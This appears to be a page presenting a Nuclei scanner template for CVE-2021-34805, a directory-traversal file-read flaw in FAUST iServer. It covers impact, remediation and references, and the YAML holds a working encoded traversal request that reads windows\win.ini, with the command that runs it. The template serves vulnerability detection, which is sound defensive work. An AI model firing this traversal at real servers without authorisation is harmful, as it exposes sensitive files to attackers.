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FAUST iServer 9.0.018.018.4 - Local File Inclusion

ID: CVE-2021-34805

Severity: high

Author: 0x_Akoko

Tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software

FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.

id: CVE-2021-34805
info:
name: FAUST iServer 9.0.018.018.4 - Local File Inclusion
author: 0x_Akoko
severity: high
description: FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
remediation: |
Apply the latest security patch or update to a non-vulnerable version of FAUST iServer.
reference:
- https://cxsecurity.com/issue/WLB-2022010120
- http://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html
- http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver
- https://nvd.nist.gov/vuln/detail/CVE-2021-34805
- https://github.com/20142995/Goby
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-34805
cwe-id: CWE-22
epss-score: 0.17035
epss-percentile: 0.96066
cpe: cpe:2.3:a:land-software:faust_iserver:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: land-software
product: faust_iserver
tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software
http:
- method: GET
path:
- "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402205c2f4827034d762c252dcd7ab5b3bb2b541bf6b420df84f85ec9486538ba9da302204eb721840e43ffe28e1b2c4724698a8f375d9e7dc9292bf484fd87f9218bf2c0:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-34805.yaml"

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